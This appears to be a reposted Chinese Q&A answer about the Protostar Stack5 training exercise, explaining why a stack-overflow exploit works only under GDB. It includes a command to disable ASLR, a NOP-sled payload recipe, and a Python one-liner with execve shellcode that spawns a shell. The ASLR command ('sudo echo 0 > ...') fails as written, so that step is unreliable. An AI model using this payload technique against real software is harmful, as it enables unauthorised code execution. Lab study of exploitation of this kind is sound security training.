You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Protostar Stack5类程序Shellcode仅在GDB中生效问题求助

解决GDB调试有效但直接运行失效的栈溢出问题

这问题我太熟悉了——很多人第一次玩栈溢出都会栽在GDB和直接运行的环境差异上。咱们先拆解核心原因,再给你具体的解决步骤:

核心原因:GDB与直接运行的环境差异

1. 栈地址偏移

GDB启动程序时会注入调试相关的环境变量,这会让进程的栈起始地址和直接运行时不一样。你在GDB里找到的返回地址(用来跳转到shellcode的),放到直接运行的程序里,根本不是shellcode所在的位置,自然执行失败。

2. 输入方式的隐性差异

手动在终端输入payload时,换行符、输入缓冲的处理可能和GDB里的输入机制不一样,容易破坏payload的完整性;而gets()对输入的处理又很“耿直”,一点点偏差都会导致溢出失败。

3. ASLR的干扰

如果你的系统开启了地址空间布局随机化(ASLR),每次运行程序时栈地址都会随机变化,哪怕是直接运行,两次的地址都不一样,更别说和GDB环境对比了。


具体解决步骤

1. 临时关闭ASLR(32位环境下)

先检查ASLR状态:

cat /proc/sys/kernel/randomize_va_space

如果输出是1或2,说明ASLR开启了,临时关闭它:

sudo echo 0 > /proc/sys/kernel/randomize_va_space

关闭后,栈地址会固定下来,GDB里查到的地址和直接运行时会基本一致(仍可能有小偏移,后面用NOP滑橇解决)。

2. 构造带NOP滑橇的Payload

NOP滑橇(一堆\x90指令)的作用是:哪怕返回地址和shellcode的实际位置有小偏移,只要跳到滑橇里,CPU就会顺着滑橇一路执行到真正的shellcode。

步骤:

  • 在GDB里用p &container获取缓冲区的地址,比如假设得到0xffffd000
  • 构造Payload:前36字节(32字节缓冲区+4字节EBP)填充垃圾字符,接着是指向NOP滑橇的地址(比如0xffffd010,确保落在滑橇范围内),然后是50个\x90,最后放你的shellcode。

示例用Python生成Payload(替换成你自己的shellcode和地址):

python -c 'print "A"*36 + "\x10\xd0\xff\xff" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > payload.bin

3. 用管道输入Payload

避免手动输入的干扰,直接用管道把Payload喂给程序:

cat payload.bin | ./binary1

额外验证小技巧

如果还是不行,可以在GDB里模拟直接运行的环境:

gdb -ex "run < payload.bin" ./binary1

这样能确认Payload本身有没有问题,如果GDB里这样能运行,那直接运行时的问题大概率是地址偏移或输入方式的问题。

内容的提问来源于stack exchange,提问作者MihaiDamian

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.26 10:32:14